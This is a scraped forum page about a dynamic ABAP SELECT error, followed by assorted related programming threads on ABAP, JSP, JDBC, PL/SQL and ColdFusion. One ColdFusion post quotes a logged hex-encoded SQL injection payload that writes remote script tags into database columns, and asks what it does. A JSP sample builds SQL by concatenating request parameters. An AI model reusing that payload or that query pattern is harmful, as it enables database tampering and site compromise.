Dynamic SELECT statement causing CX_SY_DYNAMIC_OSQL_SEMANTICS error.
Hello Gurus,
We have a dynamic SELECT statement in our BW Update Rules where the the Selection Fields are populated at run-time and so are the look-up target and also the WHERE clause. The code basically looks like below:
SELECT (lt_select_flds)
FROM (lf_tab_name)
INTO CORRESPONDING FIELDS OF TABLE <lt_data_tab>
FOR ALL ENTRIES IN <lt_source_data>
WHERE (lf_where).
In this instance, we are selecting 5 fields from Customer Master Data and the WHERE condition for this instance of the run is as below:
WHERE: DIVISION = <lt_source_data>-DIVISION AND DISTR_CHAN = <lt_source_data>-DISTR_CHAN AND SALESORG = <lt_source_data>-SALESORG AND CUST_SALES = <lt_source_data>-SOLD_TO AND OBJVERS = 'A'
This code was working fine till yesterday when we encountered serious performance problems and the Basis team had to do some changes at the DB level [Oracle]. Ever since, when we execute our data load, we get the CX_SY_DYNAMIC_OSQL_SEMANTICS.
Is setting changes at the Oracle level cause issues with how the data is being read at the DB. If yes, can you suggest what can we do to this code to get is working correctly [in case Basis can't revert back their changes]?
Would appreciate any help we can get here.
You don't understand - this error comes up when we run specific BEx queries. It was working yesterday, but today it is not. Our support package did not change from yesterday. We did not apply any OSSnotes.
We are however doing pre-prepare on our Prod system.
The temporary table is used to store SIDs for use in the join. the table exists in the dictionary, but not at an Oracle level.
Similar Messages
-
CX_SY_DYNAMIC_OSQL_SEMANTICS error with dynamic SELECT statement
Hello Gurus,
We have a dynamic SELECT statement in our BW Update Rules where the the Selection Fields are populated at run-time and so are the look-up target and also the WHERE clause. The code basically looks like below:
SELECT (lt_select_flds)
FROM (lf_tab_name)
INTO CORRESPONDING FIELDS OF TABLE <lt_data_tab>
FOR ALL ENTRIES IN <lt_source_data>
WHERE (lf_where).
In this instance, we are selecting 5 fields from Customer Master Data and the WHERE condition for this instance of the run is as below:
WHERE: DIVISION = <lt_source_data>-DIVISION AND DISTR_CHAN = <lt_source_data>-DISTR_CHAN AND SALESORG = <lt_source_data>-SALESORG AND CUST_SALES = <lt_source_data>-SOLD_TO AND OBJVERS = 'A'
This code was working fine till we were in BW 3.5 and is causing issues after we moved to BW 7.31 recently. Ever since, when we execute our data load, we get the CX_SY_DYNAMIC_OSQL_SEMANTICS. THE ERROR TEXT SAYS 'Unable to interpret '<LT_SOURCE_data>-DOC_NUMBER'.
Can you pleasesuggest what can we do to this code to get is working correctly ? What has changed in ABAP Objects that has been introduced from BI 7.0 that could be causing this issue?
Would appreciate any help we can get here.
Thanks
ArvindHi,
Please try this.
data: lv_where type string.
concatenate 'vbeln' 'in' 'r_vbeln' into lv_where separated by space.
select *from table into itab where (lv_where).
Also please check this sample code.
REPORT ZDYNAMIC_WHERE .
TABLES: VBAK.
DATA: CONDITION TYPE STRING.
DATA: BEGIN OF ITAB OCCURS 0,
VBELN LIKE VBAK-VBELN,
POSNR LIKE VBAP-POSNR,
END OF ITAB.
SELECT-OPTIONS: S_VBELN FOR VBAK-VBELN.
CONCATENATE 'VBELN' 'IN' 'S_VBELN.'
INTO CONDITION SEPARATED BY SPACE.
SELECT VBELN POSNR FROM VBAP INTO TABLE ITAB
WHERE (CONDITION).
LOOP AT ITAB.
WRITE 'hello'.
ENDLOOP.
Regards,
Ferry Lianto -
Autonumbers through dynamic SELECT statement
Trying to get an autonumber from an order table. The order_id I need from the table is only uniquely identified by the customer_id and the date/time. I've been advised that you cannot get an autonumber back from access without going via a select statement.
I've tried to do a dynamic select statement by getting the date (short i.e.DD/MM/YY) from the server using a JSP custom tag and then putting this value into a hidden form field on the previous web page.
However, when I load the next page the data gets input into the order table okay but the web page displayed is blank i.e. it doesn't display the order_id or the form to input credit card details. There are no error messages
Code below, any ideas?
<%@ page language="java" contentType="text/html"
import="ShoppingBasket,Product,java.util.*"
errorPage="errorpage.jsp"%>
<jsp:useBean id="basket" class="ShoppingBasket" scope="session"/>
<html>
<head>
<title>Your Order Has Been Received</title>
</head>
<body>
<%
String customer_id = request.getParameter("customer_id");
String total_value = request.getParameter("total_value");
String order_date = request.getParameter("order_date");
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
java.sql.Connection connection = java.sql.DriverManager.getConnection("jdbc:odbc:Novbase","","");
java.sql.Statement Stmt = connection.createStatement();
String query = ("INSERT INTO Orders (customer_id, total_value) VALUES ("+customer_id+", "+total_value+")");
Stmt.executeUpdate(query);
java.sql.Statement Stmt2 = connection.createStatement();
java.sql.ResultSet RS = Stmt2.executeQuery("SELECT order_id FROM Orders WHERE customer_id = "+customer_id+" AND time_date LIKE '"+order_date+"%'" );
while(RS.next())
String order_id = RS.getString("order_id");
%>
your order id is <%=order_id %>. Please input your credit card details in the form below:
<form name="form1" method="post" action="shop-postorder4.jsp">
<table width="90%" border="0" cellspacing="1" cellpadding="5">
<tr>
<td width="5%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"></font></td>
<td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Credit
Card Type</font></td>
<td width="70%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<select name="card_type">
<option value="AMERICAN EXPRESS">American Express</option>
<option value="MASTER CARD">Master Card</option>
<option value="SWITCH">Switch</option>
<option value="VISA">Visa</option>
</select>
*</font></td>
</tr>
<tr>
<td width="5%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"></font></td>
<td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Credit
Card No.</font></td>
<td width="70%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="text" name="card_number" size=18 maxlength="18">
*</font></td>
</tr>
<tr>
<td width="5%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"></font></td>
<td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Issue
No. <font size="1"><br>
(Switch card holders<br>
only)</font></font></td>
<td width="70%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="text" name="issue_no" size="2" maxlength="2">
</font></td>
</tr>
<tr>
<td width="5%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"></font></td>
<td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Valid
From</font></td>
<td width="70%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="text" name="valid_from" size="4" maxlength="4">
e.g. 0502</font></td>
</tr>
<tr>
<td width="5%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"></font></td>
<td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Validy
To</font></td>
<td width="70%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="text" name="valid_to" size="4" maxlength="4">
* e.g. 0105</font></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
<input type="hidden" name="order_id" value="<%=order_id %>">
</form>
<a href=" <%= response.encodeURL(shop-products.jsp") %">">
<img src="images\toshop.gif" border="0" alt="Return to the Shop"></a>
<%
RS.close();
Stmt.close();
Stmt2.close();
connection.close();
%>
</body>
</html>
</a>String query = ("INSERT INTO Orders (customer_id, total_value) VALUES ("+customer_id+", "+total_value+")");
the data gets input into the order table okay
java.sql.ResultSet RS = Stmt2.executeQuery("SELECT order_id FROM Orders WHERE customer_id = "+customer_id+" AND time_date LIKE '"+order_date+"%'" );It is a field name as <B>time_date </B>in Orders table? And should you insert some value ?
It seems your select return nothing.
When your RS.next() is false, so you get blank. Add some HTNL code or just <HR> after while {} block so your would see it. -
DYnamic select statement in JDBC adapter?
Hi guys,
Is it possible so send dynamic select statement in jdbc adapter?
XIerAamir,
The poster did not specify whether this was sender or receiver channel, but it would only make sense that a "dynamic query" must be on the receiver communication channel since if it was on the sender channel, the channel would have to intelligently determine how to do dynamic queries.
Also, the poster asked if there was a way to "send a dynamic query" to the channel. This seems to imply that the channel is receiving information from somewhere to determine the query, which could only mean it is a receiver channel.
If you would like more information on the JDBC sender communication channel, please open a new thread. -
Need to wite pl sql procedure for dynamic select statement
Need pl sql procedure for a Dynamic select statement which will drop tables older than 45 days
select 'Drop table'||' ' ||STG_TBL_NAME||'_DTL_STG;' from IG_SESSION_LOG where substr(DTTM_STAMP, 1, 9) < current_date - 45 and INTF_STATUS=0 order by DTTM_STAMP desc;I used this to subtract any data older than 2 years, adjustments can be made so that it fits for forty five days, you can see how I changed it from the originaln dd-mon-yyyy to a "monyy", this way it doesn't become confused with the Static data in the in Oracle, and call back to the previous year when unnecessary:
TO_NUMBER(TO_CHAR(A.MV_DATE,'YYMM')) >= TO_NUMBER(TO_CHAR(SYSDATE - 365, 'YYMM')) -
SELECT statement causing error
Hi all, a particular errors keeps on popping up when i try to activate my program. Error message is as follows:
The field "C~NAME1" from the SELECT list is missing in the GROUP BY clause. addition INTO wa or into (g1,...,gn) is required. fields of type "" or "A~MANDT".
Any ideas on what this syntax error message means?
Look at the SELECT statement that is causing the error:
SELECT A~MATNR A~WERKS MAX( A~EBELN ) MAX( A~EBELP ) A~BUKRS A~MENGE A~NETPR A~PEINH B~LIFNR B~BEDAT C~NAME1
INTO (WTAB-MATNR, WTAB-WERKS, WTAB-EBELN, WTAB-EBELP, WTAB-BUKRS, WTAB-MENGE, WTAB-NETPR, WTAB-PEINH, WTAB-LIFNR,WTAB-BEDAT, WTAB-NAME1)
FROM EKPO AS A
INNER JOIN EKKO AS B
ON A~EBELN = B~EBELN AND
A~BUKRS = B~BUKRS
INNER JOIN LFA1 AS C
ON B~LIFNR = C~LIFNR
* FOR ALL ENTRIES IN ITAB
WHERE A~WERKS = I_WERKS AND
A~BUKRS = I_BUKRS AND
B~BSTYP = 'F' AND
B~SPRAS = 'EN'.I've got another thing to ask. Ask you all know, i am suppose to complete (or ammend) the program that i am doing now. Look at parts of the original coding that i have yet to make changes to, i would like to know what is it suppose to do and output. Perhaps you guys could explain it better than my consultant:
TYPES: BEGIN OF TYP_MATTXT,
MATNR LIKE MARA-MATNR, "Material Number
CTRT TYPE I,
MAT_TXT(80) TYPE C,
PO_TXT(80) TYPE C,
END OF TYP_MATTXT.
DATA: MATTXT TYPE TYP_MATTXT OCCURS 0 WITH HEADER LINE.
DATA: WA_STXH TYPE STXH,
TXT LIKE TLINE OCCURS 0 WITH HEADER LINE,
TXT_KEY LIKE STXH-TDNAME. "Name
*& FORM SELECT_DATA *
FORM SELECT_DATA.
SELECT A~MATNR A~MATKL B~MAKTX A~MTART A~EXTWG C~WERKS
INTO CORRESPONDING FIELDS OF TABLE ITAB
FROM MARA AS A
INNER JOIN MAKT AS B
ON A~MATNR = B~MATNR AND
B~SPRAS = 'EN'
INNER JOIN MARD AS C
ON A~MATNR = C~MATNR
WHERE A~MATNR IN I_MATNR AND
A~MATKL IN I_MATKL AND
A~MTART IN I_MTART AND
A~EXTWG IN I_EXTWG AND
C~WERKS = I_WERKS.
SORT ITAB BY MATNR MATKL MTART EXTWG WERKS MAKTX.
CHECK NOT ITAB[] IS INITIAL.
SELECT A~MATNR A~MATKL A~WERKS MAX( A~EBELN ) MAX( A~EBELP ) A~BUKRS
A~MENGE A~NETPR A~PEINH A~MTART B~LIFNR B~BEDAT C~NAME1
INTO TABLE WTAB
* INTO (WTAB-MATNR, WTAB-WERKS, WTAB-EBELN, WTAB-EBELP, WTAB-BUKRS,
*WTAB-MENGE, WTAB-NETPR, WTAB-PEINH, WTAB-LIFNR,WTAB-BEDAT, WTAB-NAME1)
FROM EKPO AS A
INNER JOIN EKKO AS B
ON A~EBELN = B~EBELN AND
A~BUKRS = B~BUKRS AND
B~BSTYP = 'F'
INNER JOIN LFA1 AS C
ON B~LIFNR = C~LIFNR
WHERE A~MATNR IN I_MATNR AND
A~MATKL IN I_MATKL AND
A~WERKS = I_WERKS AND
A~BUKRS = I_BUKRS AND
A~MTART IN I_MTART AND
A~LOEKZ = ' '
GROUP BY A~MATNR A~MATKL A~WERKS A~EBELN A~EBELP A~BUKRS A~MENGE
A~NETPR A~PEINH A~MTART B~LIFNR B~BEDAT C~NAME1.
SORT WTAB BY MATNR MATKL MTART WERKS EBELN EBELP MENGE NETPR PEINH
LIFNR BEDAT NAME1.
LOOP AT WTAB.
MOVE: WTAB-EBELN TO ITAB-EBELN,
WTAB-EBELP TO ITAB-EBELP,
WTAB-BUKRS TO ITAB-BUKRS,
WTAB-MENGE TO ITAB-MENGE,
WTAB-NETPR TO ITAB-NETPR,
WTAB-PEINH TO ITAB-PEINH,
* WTAB-MTART TO ITAB-MTART,
WTAB-LIFNR TO ITAB-LIFNR,
WTAB-BEDAT TO ITAB-BEDAT,
WTAB-NAME1 TO ITAB-NAME1.
MOVE ITAB-MATNR TO TXT_KEY.
PERFORM READ_TXT USING 'BEST' TXT_KEY 'MATERIAL'.
CONCATENATE ITAB-EBELN ITAB-EBELP INTO TXT_KEY.
PERFORM READ_TXT USING 'F01' TXT_KEY 'EKPO'.
MODIFY ITAB TRANSPORTING EBELN EBELP BUKRS MENGE NETPR PEINH LIFNR
BEDAT NAME1
WHERE MATNR = WTAB-MATNR.
ENDLOOP.
SORT ITAB BY MATNR MATKL MTART.
DELETE ADJACENT DUPLICATES FROM ITAB COMPARING ALL FIELDS.
LINE_CHECK = 0.
ENDFORM.
*& FORM READ_TXT *
FORM READ_TXT USING ID XNAME OBJ.
DATA: CTR TYPE I,
PO_CTR TYPE I.
CLEAR: TXT.
SELECT SINGLE * FROM STXH CLIENT SPECIFIED
INTO WA_STXH
WHERE MANDT = SY-MANDT AND
TDOBJECT = OBJ AND
TDNAME = XNAME AND
TDID = ID AND
TDSPRAS = SY-LANGU.
IF SY-SUBRC = 0.
REFRESH TXT.
CTR = 1.
CALL FUNCTION 'READ_TEXT'
EXPORTING
CLIENT = SY-MANDT
ID = ID
NAME = XNAME
OBJECT = OBJ
LANGUAGE = SY-LANGU
TABLES
LINES = TXT.
LOOP AT TXT.
IF ID = 'BEST'.
MOVE XNAME TO MATTXT-MATNR.
MOVE CTR TO MATTXT-CTRT.
MOVE TXT-TDLINE TO MATTXT-MAT_TXT.
APPEND MATTXT.
ELSEIF ID = 'F01'.
READ TABLE MATTXT WITH KEY MATNR = ITAB-MATNR CTRT = CTR.
IF SY-SUBRC = 0.
MOVE TXT-TDLINE TO MATTXT-PO_TXT.
MODIFY MATTXT TRANSPORTING PO_TXT
WHERE MATNR = ITAB-MATNR.
ELSE.
MOVE ITAB-MATNR TO MATTXT-MATNR.
MOVE CTR TO MATTXT-CTRT.
MOVE TXT-TDLINE TO MATTXT-PO_TXT.
APPEND MATTXT.
ENDIF.
ENDIF.
CTR = CTR + 1.
ENDLOOP.
ENDIF.
ENDFORM. -
PARAMETERS: p_table LIKE dd02t-tabname OBLIGATORY.
SELECT *
FROM (p_table) CLIENT SPECIFIED
INTO CORRESPONDING FIELDS OF TABLE <dyn_table>
WHERE mandt = '800'.
mandt is the system client number as 800.
dyn_table: dynamic internal table
p_table = mara.
runtime error occurs at this statement.
SQL error in the database when accessing a table.
Kindly guide.Try
CASE xdetails-type_kind.
WHEN 'C'.
xfc-datatype = 'CHAR'.
WHEN 'N'.
xfc-datatype = 'NUMC'.
WHEN 'D'.
xfc-datatype = 'DATE'.
WHEN 'P'.
xfc-datatype = 'PACK'.
WHEN OTHERS.
xfc-datatype = xdetails-type_kind.
ENDCASE.
instead of
xfc-datatype = xdetails-type_kind.
You can also check this link:
http://wiki.sdn.sap.com/wiki/display/ABAP/DynamicInternaltable
Or try to do it like this:
http://wiki.sdn.sap.com/wiki/display/Snippets/Howtocreateadinamicinternaltable
It means to use FM REUSE_ALV_FIELDCATALOG_MERGE instead of using cl_abap_typedescr.
Adrian -
Getting result of dynamic select statement into variable
I have a function that builds a dynamic sql statement. I then want to take the result of that statement and insert it into a variable. I have tried this
execute immediate strSQL USING OUT intCounter;but that is giving me an error on that line of code. The SQL is a select count(*) and works fine. It is just how to get it into the variable that is tripping me up.
Thanks,
EvaSure. Version 11g. The complete procedure reads as follows:
CREATE OR REPLACE FUNCTION VALIDATIONQUESTIONRESULT
p_ShortName VARCHAR2,
p_SiteID VARCHAR2
RETURN NUMBER IS
strSQL VARCHAR2(5000);
strTableName VARCHAR2(200);
strPatIDFieldName VARCHAR2(200);
intCounter NUMBER;
BEGIN
select VALIDATIONSQL into strSQL from vwvalidationquestions where upper(shortname) = upper(p_ShortName);
select
case UPPER(DBTABLENAME)
when 'CPTICODES' then 'CPTIPATID'
when 'CPTIICODES' then 'CPTIIPATID'
when 'DEMOGRAPHICS' then 'PATID'
when 'FAMILYHISTORY' then 'FHPATID'
when 'GCODES' then 'GCODEPATID'
when 'HOSPITALIZATION' then 'HPATID'
when 'MEDICALHISTORY' then 'MHPATID'
when 'MEDICATIONS' then 'MPATID'
when 'PROCEDURES' then 'PPATID'
when 'VISITS' then 'VPATID' end into strPatIDFieldName
from DATASPECIFICATIONS where UPPER(SHORTNAME) = UPPER(p_ShortName);
strSQL := strSQL||' and '||strPatIDFieldName||' in (select PATID from DEMOGRAPHICS where PARTICID = '||p_SiteID||');';
execute immediate strSQL into intCounter;
return intCounter;
END VALIDATIONQUESTIONRESULT; strSQL when checked builds perfectly. I get 100% what I expect from it. An example of what I am getting from strSQL is:
select count(*) from Procedures where TO_CHAR(ProcdDt, 'MM') = TO_CHAR(ADD_MONTHS(SYSDATE, -1), 'MM') and TO_CHAR(ProcdDt, 'YYYY') = TO_CHAR(ADD_MONTHS(SYSDATE, -12), 'YYYY') and PPATID in (select PATID from DEMOGRAPHICS where PARTICID = 12);I am getting the number I would expect from this. I just need to put that number into intCounter. I tried altering strSQL so it looked like this:
select count(*) into intCounter from Procedures where TO_CHAR(ProcdDt, 'MM') = TO_CHAR(ADD_MONTHS(SYSDATE, -1), 'MM') and TO_CHAR(ProcdDt, 'YYYY') = TO_CHAR(ADD_MONTHS(SYSDATE, -12), 'YYYY') and PPATID in (select PATID from DEMOGRAPHICS where PARTICID = 12);but that gave me an error on the execute immediate line as well.
Sorry, I thought it would be simple so that was why I only put that bit of info. I guess it is more complicated than it at first appeared!
Eva -
Inner Join for Dynamic Select statement
Hi All,
Can some one please help me in rewriting the below select statement where i have to remove the existing table1 by putting a dynamic table name which has the same table structure.
select a~zfield1
a~zfield2
from ztab1 as a
inner join ztab2 as b
on b~ztab1-zfield3 = a~ztab2-zfield3
where a~zfield4 = 'A'.
I am looking something as below. But encountering an error when using the below statement
select a~zfield1
a~zfield2
from (v_ztab1) as a
inner join ztab2 as b
on b~ztab1-zfield3 = a~ztab2-zfield3
where a~zfield4 = 'A'.
No Separate selects please. Please help me in rewriting the same select statement itself.
Regards,
PSKhi,
What error you are getting ?
Also INTO is missing from the statement.
SELECT pcarrid pconnid ffldate bbookid
INTO TABLE itab
FROM ( spfli AS p
INNER JOIN sflight AS f ON pcarrid = fcarrid AND
pconnid = fconnid )
WHERE p~cityfrom = 'FRANKFURT' AND
p~cityto = 'NEW YORK' .
thanks -
Urgent, SELECT statement results in error
hi all, this is very urgent, could you guys have a look at my SELECT statement?
SELECT vk~kunnr "customer no
vk~vbeln "sales order no
vk~audat "date
vk~vbtyp "SD DOCUMENT CATEGORY
vk~knumv "lwk
vp~kwmeng "qty
vp~matnr "material no
vp~posnr "LINE ITEM
vd~bstkd "PURCHASE ORDER NO
* kv~kwert "lwk
FROM vbak AS vk
INNER JOIN vbap AS vp
ON vk~vbeln = vp~vbeln
INNER JOIN vbkd AS vd
ON vk~vbeln = vd~vbeln
* INNER JOIN konv AS kv
* ON kv~knumv = vk~knumv
INTO CORRESPONDING FIELDS OF TABLE it_so
WHERE vk~vkorg IN s_vkorg
AND vk~audat IN s_date
AND vk~kunnr IN s_kunnr
AND vp~matnr IN s_matnr
AND vd~bstkd IN s_bstkd
AND vk~vbeln IN s_vbeln
* AND kv~kschl = 'ZP00'
AND vk~vbtyp = 'C'.
The commented lines are the new additions that i want to add to the SELECT statement. But when i un-comment them, i get an error while activating my program. Error is as follows:
For pooled tables, cluster tables, and project views, JOIN is not allowed: "KONV".
Is there a way i can go around it?Hi,
look at this SAP note : 550043
Symptom
KEPM: dump 'MESSAGE_TYPE_X' during automatic planning method execution.
Other terms
KEPM MESSAGE_TYPE_X transform characteristic value
Reason and Prerequisites
This note is related only to cases, if dump 'MESSAGE_TYPE_X' is raising
during execution of planning method, for which is possible to define
transformation of characteristics values i.e. Copy, Forecast, Top-Down
distribution, Ratios and Customer Enhancement.
Dump is raising in case, if there was defined transformation of char.
values in parameter set definition for some characteristic. Later on,
this characteristic was removed from planning level definition but
characteristic wasn't removed from relevant customizing of transform
characteristic values before.
Solution
Please apply attached program correction.
Regards,
GSR. -
JDBC: Dynamic select statement
Hi,
I am working on a JDBC to SAP integration. I am trying to SELECT data from table for a specific time interval.
In the JDBC configuration i am using the Query SQL Statement
For example: select * from X where time='20080808'
Now is it possible to use for example the system date and time of the server where pi is installed or any other dynamic data?
Maybe like this: select * from X where time =@sysdate
If it is possible how? If not why?
I appreciate your help.
Thanks in advance...Hi,
In case of receiver JDBC you can map todays date to the select statement and make the select statement dynamic, however in the sender it can't be done. The work around may be to call the stored procedure from the sender adapter and using the stored procedure construct the select query dynamically.
Thanks
SaNv... -
Group By Select Statement aggregate function error.
I am using Dreamweaver MX4 and have an ASP web page. I can easily do this in Access 2007 a simple "group by" sum totals statement.
Why can I not get this to work on a web page? Are the "#" signs messing this up in the Code2 Select Statement?
How can I get Code2 to work correctly? Code1 works fine. A user enters the customer and a date range on a form and submits request. I get error message in Dreamweaver. You tried to execute a query where the specified expression field3 is not part of an aggregate function
Code1. This works fine SELECT Field3, Field10, SUM(Field16) as SumofField16 FROM CustomerHistory_CP WHERE Field3 LIKE '%Search_Criteria%' AND Field6 >= #1/2/09# AND Field6 <= #1/30/09# GROUP BY Field3, Field10
Code2. I get error message SELECT Field3, Field10, SUM(Field16) as SumofField16 FROM CustomerHistory_CP WHERE Field3 LIKE '%Search_Criteria%' AND Field6 >= #Date1# AND Field6 <= #Date2# GROUP BY Field3, Field10I am using Dreamweaver MX4 and have an ASP web page. I can easily do this in Access 2007 a simple "group by" sum totals statement.
Why can I not get this to work on a web page? Are the "#" signs messing this up in the Code2 Select Statement?
How can I get Code2 to work correctly? Code1 works fine. A user enters the customer and a date range on a form and submits request. I get error message in Dreamweaver. You tried to execute a query where the specified expression field3 is not part of an aggregate function
Code1. This works fine SELECT Field3, Field10, SUM(Field16) as SumofField16 FROM CustomerHistory_CP WHERE Field3 LIKE '%Search_Criteria%' AND Field6 >= #1/2/09# AND Field6 <= #1/30/09# GROUP BY Field3, Field10
Code2. I get error message SELECT Field3, Field10, SUM(Field16) as SumofField16 FROM CustomerHistory_CP WHERE Field3 LIKE '%Search_Criteria%' AND Field6 >= #Date1# AND Field6 <= #Date2# GROUP BY Field3, Field10 -
Cursor - dynamic select statement?
Hello!
I am passing a string into a function, and my string is a sql select statement. Is it possible to create a cursor using the string that is passed to the function?
Ex:
create or replace function "GETCOUNT"
(sqlstring in VARCHAR2)
return NUMBER
is
rec_count NUMBER; --I eventually want to return a count of the rows returned from my sqlstring
cursor c1 is sqlstring <--this is what I'd like to do...but how?
begin
... -- I haven't gotten to this point yet
end;
The error I get says 'Encountered the symbol "sqlstring" when expecting on of the following: ( select '
Thanks in advance!!Something like this ->
create or replace procedure gen_cur(str in varchar2,rc in out sys_refcursor)
is
str1 varchar2(500);
begin
str1 := 'select empno,ename,hiredate,sal
from emp
where '||str;
open rc for str1;
exception
when others then
dbms_output.put_line(sqlerrm);
end;
variable b refcursor
declare
src varchar2(300);
begin
src:= 'sal between 2000 and 7000';
gen_cur(src,:b);
exception
when others then
dbms_output.put_line(sqlerrm);
end;
print bRegards.
Satyaki De. -
Pre-populate select box causing query error
Referring to this thread
http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56335#305025
I wanted to pass a value to a dynamic select box (in a url),
so I changed this:
<option value="'#SITEID#'" selected=#sid#>
to this:
<option value="#SITEID#"<cfif SITEID EQ sid>
selected="selected"</cfif>>
and now get "Error Executing Database Query...... Too few
parameters. Expected 1."
The query:
SELECT <CFLOOP list="#form.parameters#"
index="i">sitedata.#i#,</CFLOOP>
site.coordinates_n, site.coordinates_w,
sitedata.monitordate, site.name,
site.siteid
FROM site INNER JOIN sitedata
ON site.siteid = sitedata.siteid
WHERE sitedata.SITEID IS NOT NULL
<CFIF form.siteid gt "">AND sitedata.SITEID in
(#PreserveSingleQuotes(form.siteid)#)</CFIF>
<CFIF startdate gt "" AND enddate gt "">AND
sitedata.monitordate >=
#startdate# and sitedata.monitordate <=
#enddate#</CFIF>
<CFIF startdate gt "" AND enddate is "">AND
sitedata.monitordate >=
#startdate#</CFIF>
ORDER BY sitedata.monitordate, sitedata.siteid
I admit I'm not a CF or SQL expert! I'm guessing it has
something to do
with the cfloop. Hoping this is something simple I've
overlooked...
TIACFQUERYPARAM caught the following attempt at SQL Injection.
Would someone please explain what they were trying to do?
best, paul
On Tue, Jul 22, 2008 at 7:17 AM, <[email protected]>
wrote:
> cgi.content_length
> cgi.http_accept*/*
> cgi.http_referer
> cgi.http_user_agentMozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1)
> cgi.path_info/index.cfm
>
cgi.path_translatedD:\sites\www.lazydazers.com\html\index.cfm
>
cgi.query_stringfa=ShowItem&ID=2168;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415 245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6520667 26F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D333 5206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437 572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205 B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736 372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3 C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637 2697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C2 12D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 04320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757 2736F72%20AS%20CHAR(4000));EXEC(@S);
> cgi.remote_addr220.191.251.211
> cgi.remote_host220.191.251.211
> cgi.remote_ident
> cgi.remote_user
> cgi.server_port80
> cfcatch.detail
> cfcatch.messageInvalid data 2168;DECLARE @S
CHAR(4000);SET
>
@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343030302 9204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7 220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5 0454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786 5632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223 E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A732 23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3 C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223 E3C2...
> for CFSQLTYPE CF_SQL_INTEGER.
> cfcatch.typeDatabase
> server.coldfusion.productnameColdFusion Server
> server.coldfusion.productversion7,0,2,142559
> server.os.nameWindows 2003
> server.os.version5.2
> server.os.buildnumber -
Why would this select statement give an error?
*LOOKUP Z_HELPER
*DIM TGT1 : ACCOUNT="AA_1070100"
*DIM CATEGORY="ACTUAL"
*DIM TIME="2011.JAN"
*ENDLOOKUP
*SELECT(%TGTDEST2%, "[ID]", TARGETDESTINATION, "[UNIQUEIDENTIFIER]"=LOOKUP(TGT))
UniqueIdentifier is a property of Targetdestination dimension. Here is the error its giving:
Validation status of executable file: Failed
- Unclosed quotation mark after the character string '=LOOKUP(TGT'. in:select [ID] from mbrTARGETDESTINATION where [UNIQUEIDENTIFIER]"=LOOKUP(TGT
Validation status of syntax: Failed
- Invalid syntax found; see statements in redNilanjan, I changed TGT to TGT1, still same thing. Here is the big picture outcome I am trying to achieve.
Reporting App
Entity Costcenter Shipto Time Category Account Signed data
ABC CO1 USA 2011.jan Actual ACT123 200
So data is coming in like this, the business wants to set up rules such as.....when Costcenter is CO1 AND Shipto is USA AND Entity is ABC....Change the shipto from USA to INDIA. These rules have to be able to be updated by a business user, So I cant hardcode these rules. My manager doesnt want to use Stored procedures, so here is what I did....
Z_Helper App(Non reporting App)
Entity Costcenter Shipto signeddata (other required dimensions are just dummy values)
ABC CO1 USA 9
Now how does 9 get linked to INDIA? I created a new dimension called TARGETDESTINATION. it has ID(which is nothing but shipto country values), and a property called UNIQUEIDENTIFIER. Unique Identifier basically just assigned a unique value to that shiptocountry member row.
So now I need to write a script logic in reporting app that will look up signed data of 9 in this example, and I was thinking use a select statement to pull INDIA from TARGETDESTINATION dimension.
Let me know if you have any suggestions. thanks.
Maybe you are looking for
-
Very slow when loading blackboard
Firefox 5.0 is incredibly slow when loading Blackboard Vista for Kent State University. I don't know if Blackboard Vista loads slowly for other universities as well, but I imagine that it does. Blackboard Vista allows universities to provide content
-
Essential AS3.0 by O'Rielly
